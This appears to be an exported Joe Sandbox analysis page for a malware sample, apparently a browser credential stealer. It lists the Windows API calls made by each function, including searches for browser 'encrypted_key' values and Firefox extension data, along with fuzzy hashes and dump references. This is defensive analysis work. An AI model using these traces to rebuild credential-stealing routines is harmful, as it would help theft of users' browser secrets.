Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: eefe0f09844bc559dc845347a1bfcf976102a3e8fded05f263cee1c8726ba126
Instruction ID: 9ce2c9294faedcbe6576908c8b868e80dfb8d3bd7d5782cf5b553a2849fd7bdf
Opcode Fuzzy Hash: eefe0f09844bc559dc845347a1bfcf976102a3e8fded05f263cee1c8726ba126
Instruction Fuzzy Hash: 6421077170120DAFDB05EAA8DC85BBE73BDAB4AB04F50052AFD47A7F40DB219C0487A5

Function 003E0630 Relevance: 7.6, APIs: 5, Instructions: 82commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(003F4770,00000000,00000001,003F38C4,003E0847,00000000,00000000,00000030,003E0847,00000030,?,00000001,?,00000030,00000000,00000000), ref: 003E066D
SysAllocString.OLEAUT32(?), ref: 003E067B
_wtoi64.MSVCRT ref: 003E06BA
SysFreeString.OLEAUT32(?), ref: 003E06D9
SysFreeString.OLEAUT32(00000000), ref: 003E06E0

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateInstance_wtoi64
String ID:
API String ID: 1817501562-0
Opcode ID: d576af34d9636bbd27a6af3ba02ac0486e9dad294d1e9e8eb590bf54e398990e
Instruction ID: 08f3102efd0e4e0b1ca2888a7293cba71843856a586d6785010caf33713bd781
Opcode Fuzzy Hash: d576af34d9636bbd27a6af3ba02ac0486e9dad294d1e9e8eb590bf54e398990e
Instruction Fuzzy Hash: 3921D3B1A00259AFC705DF99CC81AEEBBB9FF89310F008269F515EB350C7319941CBA0

Function 003E0200 Relevance: 7.6, APIs: 5, Instructions: 61processCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003E0228
Process32First.KERNEL32(00000000,00000128), ref: 003E0238
Process32Next.KERNEL32(00000000,00000128), ref: 003E024A

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Process32Next.KERNEL32(00000000,00000128), ref: 003E029E
CloseHandle.KERNEL32(00000000), ref: 003E02A9

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Process32lstrcpy$Next$CloseCreateFirstHandleSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 562399079-0
Opcode ID: d821552c5524606c4b4016a6bc926e127472f0ab013f1366e4b605033e97b5fb
Instruction ID: 4eeb4fe0aa11ce87ed6133141aaf2828beb47532618929ce0b496bc9e59d03cf
Opcode Fuzzy Hash: d821552c5524606c4b4016a6bc926e127472f0ab013f1366e4b605033e97b5fb
Instruction Fuzzy Hash: D011E3326001186FDB07AB65EC46FFF737CAF88B00F044269F606E6190DF745A028BA6

Function 003DFD30 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003DFD45
HeapAlloc.KERNEL32(00000000), ref: 003DFD4C
RegOpenKeyExA.KERNEL32(80000002,031C9FA0,00000000,00020119,00000000), ref: 003DFD6B
RegQueryValueExA.KERNEL32(00000000,031D5C90,00000000,00000000,00000000,000000FF), ref: 003DFD86
RegCloseKey.ADVAPI32(00000000), ref: 003DFD90

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d3b397e3e2ca73c2dbbf807441bd404d34a1a5cf82a4a25d92e51197114017d5
Instruction ID: c3264ac4ba19215c7d117466bcfb8fb007bae6932e6f9d0ae98dda00a99a073d
Opcode Fuzzy Hash: d3b397e3e2ca73c2dbbf807441bd404d34a1a5cf82a4a25d92e51197114017d5
Instruction Fuzzy Hash: 7DF062B5680208BFD710EBA0EC49FBB7B7DEB48755F10A158FA05D3250D770A904C7A1

Function 003D6FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNELBASE(031D0A08,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,003DB90C,031D52F0), ref: 003D6FE6

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF8A0: lstrlenA.KERNEL32(003E76BE,?,00000000,?,003E6587,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003DF8AB
Part of subcall function 003DF8A0: lstrcpyA.KERNEL32(00000000,003E76BE), ref: 003DF8E2

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

SetEnvironmentVariableA.KERNEL32(031D0A08,00000000,00000000,?,003F3404,?,003DB90C,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,003F01E9), ref: 003D704F
LoadLibraryA.KERNEL32(031D5D30,?,?,?,?,?,?,?,003DB90C,031D52F0), ref: 003D7064

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 003D6FE0, 003D6FF9

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 7f316a45b73cbae371d8cc41ac5fc3a43062e168b31c1e095cbe4afd19ee3062
Instruction ID: a4ecb235508ccff85d2240a4856c807d8df05f753cfd0952f6adb2b5f1fd64b7
Opcode Fuzzy Hash: 7f316a45b73cbae371d8cc41ac5fc3a43062e168b31c1e095cbe4afd19ee3062
Instruction Fuzzy Hash: 3B4141F29001449FD705EB74FC86ABA73B8AB54300B04812AF509D7361DF386D08EB93

Function 003E42A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,=O>,?,?,00000000), ref: 003E4345
CreateThread.KERNEL32(00000000,00000000,003E30F0,?,00000000,00000000), ref: 003E438D
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003E4399

Strings

=O>, xrefs: 003E4317, 003E43E6, 003E431A

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID: =O>
API String ID: 4198075804-1702027696
Opcode ID: c0951dfd3b4b83eb47b13f4b0bf17e6965293bbb60a33d52d33a16ee108b352e
Instruction ID: 5e97fac88ab7aa831a1827daa4e35d5363e3e8971a0152731c25200e64cc675d
Opcode Fuzzy Hash: c0951dfd3b4b83eb47b13f4b0bf17e6965293bbb60a33d52d33a16ee108b352e
Instruction Fuzzy Hash: FA418F769502889FDB06EFA1EC86BEE7778AF14300F58512AF5036B2D1DF306A05CB91

Function 003E1280 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,?,003E2B26,?), ref: 003E12A0
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,003E2B26,?), ref: 003E12CB
CloseHandle.KERNEL32(00000000,?,?,003E2B26,?), ref: 003E12D6

Strings

&+>, xrefs: 003E1297, 003E12AD, 003E12DC

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID: &+>
API String ID: 1065093856-1955595138
Opcode ID: 7b8f1e81f77dbc741e90ac7403ebf0f7f321ecea03dacab9e4ebef719cd02114
Instruction ID: fe52e2b9ec721f789ee3172e025cd112cde54558bec8f951253e452d319c011a
Opcode Fuzzy Hash: 7b8f1e81f77dbc741e90ac7403ebf0f7f321ecea03dacab9e4ebef719cd02114
Instruction Fuzzy Hash: 62F0AF715502187BDB10EF60EC46FEB376CDB01760F009255FE059A2C0DBB06D0187E1

Function 003DB180 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 157stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,003DBA32,?,00000000,?,00000000,00000000), ref: 003D6C3F
Part of subcall function 003D6C20: GetFileSizeEx.KERNEL32(00000000,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C55
Part of subcall function 003D6C20: LocalAlloc.KERNEL32(00000040,?,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C70
Part of subcall function 003D6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C89
Part of subcall function 003D6C20: CloseHandle.KERNEL32(00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6CB1

Part of subcall function 003E0DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,003E3026,00000000,00000000), ref: 003E0DBC

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,003F3544,003F01E9), ref: 003DB224
lstrlenA.KERNEL32(00000000), ref: 003DB240

Strings

^userContextId=4294967295, xrefs: 003DB267
moz-extension+++, xrefs: 003DB275

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 65691d83830c4acbc679a48ba552d84ccf2733f6e58115a3914afd42fa97583a
Instruction ID: df9b35200a1c1ac890274cbeba4b912b1824187d807c48aa47e3428fed0bad43
Opcode Fuzzy Hash: 65691d83830c4acbc679a48ba552d84ccf2733f6e58115a3914afd42fa97583a
Instruction Fuzzy Hash: AF51FEB79101486FCB06FBB0ED929ED7378AF54300F44412AF8076A295EF346A08D6A2

Function 003E30F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 003E3120
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003E31CD

Strings

ERROR, xrefs: 003E31BF

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: ERROR
API String ID: 1659193697-2861137601
Opcode ID: 1886b8de442a3c03e35b6740e3502b5b996ba5415e38ff335e79e80356a9fb1d
Instruction ID: ff3eaaada38f6a33a2a12536e56101709cf7eb6e98679ce96e5faf36ae9a0de1
Opcode Fuzzy Hash: 1886b8de442a3c03e35b6740e3502b5b996ba5415e38ff335e79e80356a9fb1d
Instruction Fuzzy Hash: 8D319272900244AFCB01EF65EC86BAE7B78EF44750F14862AF5169B381DB349A04CBD5

Function 003DBE30 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003D6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,003DBA32,?,00000000,?,00000000,00000000), ref: 003D6C3F
Part of subcall function 003D6C20: GetFileSizeEx.KERNEL32(00000000,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C55
Part of subcall function 003D6C20: LocalAlloc.KERNEL32(00000040,?,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C70
Part of subcall function 003D6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C89
Part of subcall function 003D6C20: CloseHandle.KERNEL32(00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6CB1

Part of subcall function 003E0DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,003E3026,00000000,00000000), ref: 003E0DBC

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,?,?,?,?,?,003DEC99,?), ref: 003DBE7D

Part of subcall function 003D6CD0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,bb=,00000000,00000000), ref: 003D6CF7
Part of subcall function 003D6CD0: LocalAlloc.KERNEL32(00000040,00000000,?,003D6262,00000000,?,?,?,?,?,?,?,?,00000030), ref: 003D6D06
Part of subcall function 003D6CD0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,bb=,00000000,00000000), ref: 003D6D1D
